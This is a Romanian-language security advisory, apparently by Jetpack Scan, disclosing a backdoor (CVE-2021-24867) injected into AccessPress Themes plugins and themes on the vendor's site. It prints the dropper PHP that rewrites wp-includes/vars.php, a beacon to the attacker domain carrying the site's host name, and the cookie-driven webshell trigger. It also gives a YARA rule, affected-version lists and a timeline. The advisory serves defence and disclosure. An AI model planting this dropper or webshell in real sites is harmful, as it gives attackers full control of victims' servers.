Backdoor găsit în teme și pluginuri din temele AccessPress

Actualizare 1 februarie – S-a schimbat secțiunea „Teme afectate” pentru a reflecta faptul că încep să apară versiuni noi ale temelor.

În timp ce investigăm un site compromis, am descoperit un cod suspect într-o temă creată de AccessPress Themes (aka Access Keys), un furnizor cu un număr mare de teme și pluginuri populare. În urma investigațiilor ulterioare, am descoperit că toate temele și majoritatea pluginurilor de la furnizor conțineau acest cod suspect, dar numai dacă au fost descărcate de pe propriul lor site web. Aceleași extensii erau bune dacă au fost descărcate sau instalate direct din directorul WordPress.org.

Din cauza modului în care extensiile au fost compromise, am bănuit că un atacator extern a încălcat site-ul web al AccessPress Themes în încercarea de a folosi extensiile pentru a infecta alte site-uri.

Am contactat imediat vânzătorul, dar la început nu am primit un răspuns. După escaladarea acesteia către echipa de plugin WordPress.org, suspiciunile noastre au fost confirmate. Site-urile web AccessPress Themes au fost încălcate în prima jumătate a lunii septembrie 2021, iar extensiile disponibile pentru descărcare pe site-ul lor au fost injectate cu o ușă în spate.

Odată ce am stabilit un canal pentru comunicarea cu furnizorul, le-am împărtășit constatările noastre detaliate. Au eliminat imediat extensiile ofensatoare de pe site-ul lor.

Cele mai multe dintre pluginuri au fost actualizate de atunci, iar versiunile curate cunoscute sunt enumerate în partea de jos a acestei postări. Cu toate acestea, temele afectate nu au fost actualizate și sunt extrase din depozitul de teme WordPress.org. Dacă aveți instalată pe site-ul dvs. oricare dintre temele enumerate în partea de jos a acestei postări, vă recomandăm să migrați la o temă nouă cât mai curând posibil.

Această dezvăluire se referă la un număr mare de extensii, atât pluginuri, cât și teme. Treceți la lista de mai jos sau citiți mai departe pentru detalii.

Detalii:

Furnizor: Teme AccessPress
Adresa URL a furnizorului: https://accesspressthemes.com
Pluginuri: multiple
Teme: multiple
CVE: CVE-2021-24867

Analiză:

Extensiile infectate conțineau un dropper pentru un webshell care oferă atacatorilor acces deplin la site-urile infectate. Dropper-ul se află în fișierul inital.php situat în pluginul principal sau directorul temei. Când rulează, instalează un webshell bazat pe cookie-uri în wp-includes/vars.php . Shell-ul este instalat ca o funcție chiar în fața funcției wp_is_mobile() cu numele wp_is_mobile_fix() . Acest lucru este de presupus pentru a nu trezi suspiciuni pentru nimeni care derulează întâmplător prin fișierul vars.php .

function makeInit() {
    $b64 = 'ba' . 'se64' . '_dec' . 'ode';
    $b = 'ZnVuY3Rpb2........TsKCg==';

    $f = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/vars.php';
    if(file_exists($f)) {
        $fp = 0777 & @fileperms($f);
        $ft = @filemtime($f);
        $fc = @file_get_contents($f);
        if(strpos($fc, 'wp_is_mobile_fix') === false) {
            $fc = str_replace('function wp_is_mobile()',
                $b64($b) . 'function wp_is_mobile()',
                $fc);
            @file_put_contents($f, $fc);
            @touch($f, $ft);
            @chmod($f, $fp);
        }
        return true;
    }
    return false;
}

Odată instalat shell-ul, dropper-ul va suna acasă prin încărcarea unei imagini de la distanță de la adresa URL hxxps://www.wp-theme-connect.com/images/wp-theme.jpg cu adresa URL a site-ului infectat și informații despre ce temă o folosește ca argumente de interogare. În cele din urmă, va elimina fișierul sursă dropper pentru a evita detectarea când cererea se termină de execuție.

function finishInit() {
    unlink(__FILE__);
}

add_action( 'admin_notices', 'wp_notice_plug', 20 );
if ( !function_exists( 'wp_notice_plug' ) ) {

    function wp_notice_plug() {
        echo '<img style="display: none;" src="https://www.wp-theme-connect.com/images/wp-theme.jpg?ph=' . $_SERVER["HTTP_HOST"] . '&phn=accesspress-anonymous-post">';
    }

}
register_shutdown_function('finishInit');

Webshell-ul în sine se declanșează dacă șirul de agent de utilizator din cerere este wp_is_mobile și cererea conține opt module cookie specifice. Se împletește și execută o sarcină utilă din aceste cookie-uri furnizate.

	$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');
	$g = $_COOKIE;

	(count($g) == 8 && $is_wp_mobile) ?
	(($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) &&
	($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) && 
	@$_iv()) : $g;

Am mai văzut și o altă variantă, probabil mai veche, a ușii din spate încorporată direct în fișierul functions.php al temei/pluginului. Această variantă folosește același mecanism pentru reunirea sarcinii utile din opt cookie-uri, dar nu filtrează pe șirul de agent de utilizator al cererii.

Pentru a se asigura că dropper-ul este executat, fișierul plugin principal (pentru plugin-uri) sau fișierul functions.php (pentru teme) a fost modificat cu cod pentru a executa fișierul inital.php dacă acesta există.

if(is_admin()) {
    add_action( "init", 'apap_plugin_check' );
}

function apap_plugin_check(){
    if(file_exists(__DIR__ . "/inital.php")){
        include(__DIR__ . "/inital.php");
    }
}

Un detaliu izbitor din marcajele temporale ale pluginurilor compromise este că toate sunt de la începutul lunii septembrie. Majoritatea sunt din 6 și 7 septembrie, cu câteva fișiere din 2 și 3 septembrie. La fel și pentru teme, toate au fost compromise pe 22 septembrie, cu excepția accessbuddy pe 9 septembrie.

De asemenea, marcajele temporale din arhivele zip sunt foarte uniforme, cu aproape toate fișierele cu exact aceeași marca temporală, cu excepția fișierului plugin principal modificat și a fișierului dropper adăugat, care este ștampilat câteva minute mai târziu (de obicei, aproximativ 2-5 minute după celelalte fișiere din arhivă).

Privind marcajele de timp pentru fișierele zip descărcate din depozitul wordpress.org , totuși, găsim o distribuție a marcajelor de timp corespunzătoare când pluginul/tema a fost de fapt actualizată. De asemenea, distribuția marcajelor de timp în arhivă este mai puțin uniformă și reflectă ce fișiere au fost actualizate în versiune și care sunt neschimbate față de o versiune mai veche.

Acest lucru ne sugerează că fișierele de pe site-ul web al Temelor AccessPress au fost modificate în mod intenționat și ca o acțiune coordonată după ce au fost lansate inițial. Compromisul pare să fi fost realizat în două etape, una pentru pluginuri și una ulterioară pentru teme. Fiecare dintre ele cu câteva încercări anterioare, eventual pentru a ajusta procesul.

Investigația noastră a analizat doar temele și pluginurile disponibile gratuit pe site-ul web al Temelor AccessPress. Presupunem că temele lor pro plătite sunt afectate în mod similar, dar nu le-am examinat. Dacă aveți oricare dintre acestea, vă rugăm să contactați asistența AccessPress Themes pentru sfaturi suplimentare.

Teme afectate

Dacă aveți instalată pe site-ul dvs. oricare dintre următoarele teme cu un număr de versiune în coloana Incorectă , vă recomandăm să faceți imediat upgrade la versiunea din coloana Curățare . Este de remarcat faptul că temele instalate prin WordPress.org sunt curate, chiar dacă sunt listate în coloana Bad . Vă recomandăm în continuare să faceți upgrade la versiunea curată cunoscută pentru a fi în siguranță.

Temele fără număr de versiune în coloana Curățare nu au fost încă actualizate și vă recomandăm să o înlocuiți cu o altă temă dacă este posibil.

Pluginuri afectate

Dacă aveți instalat pe site-ul dvs. oricare dintre următoarele plugin-uri cu un număr de versiune în coloana Bad , vă recomandăm să faceți imediat upgrade la versiunea din coloana Curățare . Este de remarcat faptul că pluginurile instalate prin WordPress.org sunt curate, chiar dacă sunt listate în coloana Bad . Vă recomandăm în continuare să faceți upgrade la versiunea curată cunoscută pentru a fi în siguranță.

Pluginurile fără număr de versiune în coloana Curățare nu au fost încă actualizate și vă recomandăm să-l înlocuiți cu alte plugin-uri dacă este posibil.

Note:

1. Acest plugin nu a fost actualizat, dar se crede că este curat, deoarece versiunea de pe site-ul web AccessPress Themes era o versiune mai veche.
2. Acest plugin nu a fost actualizat, dar se crede că este curat, deoarece nu a fost disponibil inițial pe site-ul AccessPress Themes.

IOC-uri

Următoarea regulă YARA poate fi folosită pentru a verifica dacă site-ul a fost infectat. Va detecta atât partea dropper a infecției, cât și webshell-ul instalat.

rule accesspress_backdoor_infection
{
strings:

   // IoC's for the dropper
   $inject0 = "$fc = str_replace('function wp_is_mobile()',"
   $inject1 = "$b64($b) . 'function wp_is_mobile()',"
   $inject2 = "$fc);"
   $inject3 = "@file_put_contents($f, $fc);"

   // IoC's for the dumped payload
   $payload0 = "function wp_is_mobile_fix()"
   $payload1 = "$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');"
   $payload2 = "$g = $_COOKIE;"
   $payload3 = "(count($g) == 8 && $is_wp_mobile) ?"

   $url0 = /https?:\/\/(www\.)?wp\-theme\-connect\.com(\/images\/wp\-theme\.jpg)?/

condition:

   all of ( $inject* )
   or all of ( $payload* )
   or $url0
}

Recomandări

Dacă aveți teme sau pluginuri instalate direct din AccessPress Themes sau din orice alt loc, cu excepția WordPress.org, ar trebui să faceți upgrade imediat la o versiune sigură, așa cum este indicat în tabelele de mai sus. Dacă nu este disponibilă nicio versiune sigură, înlocuiți-o cu cea mai recentă versiune de pe WordPress.org.

Vă rugăm să rețineți că acest lucru nu elimină ușa din spate din sistemul dvs., așa că, în plus, trebuie să reinstalați o versiune curată a WordPress pentru a anula modificările de bază ale fișierului efectuate în timpul instalării ușii din spate.

Dacă aveți o temă sau un plugin plătit de la AccessPress Themes/Access Keys, vă sfătuim să contactați asistența lor pentru ajutor.

Vă recomandăm cu tărie să aveți un plan de securitate pentru site-ul dvs. care să includă scanarea fișierelor rău intenționate și backup-uri. Jetpack Security este o opțiune excelentă de securitate WordPress pentru a vă asigura că site-ul și vizitatorii sunt în siguranță. Jetpack Scan a detectat toate variantele acestei uși din spate și dropper din 30 septembrie.

Cronologie

22.09.2021: Echipa Jetpack Scan descoperă dropperul și ușa din spate în tema FotoGraphy și încearcă să contacteze furnizorul în legătură cu descoperirea inițială.

27.09.2021: Confirmați prezența dropper + ușă din spate în toate pluginurile și temele gratuite actuale descărcate de pe site-ul furnizorilor.

2021-09-28: Confirmați că dropperul + ușa din spate nu este prezent la descărcările de pe wordpress.org

29.09.2021: Încercarea de a contacta din nou furnizorul, cu actualizări privind noile constatări.

2021-10-14: Ajuns la echipa de pluginuri WordPress pentru a încerca să obțină contact cu furnizorul.

2021-10-15: extensiile compromise sunt eliminate de pe site-ul furnizorului.

2021-10-16: Răspuns de la furnizor

2022-01-17: Majoritatea pluginurilor au fost actualizate la versiuni noi, temele au fost extrase de pe WordPress.org.

2022-01-18 Dezvăluire publică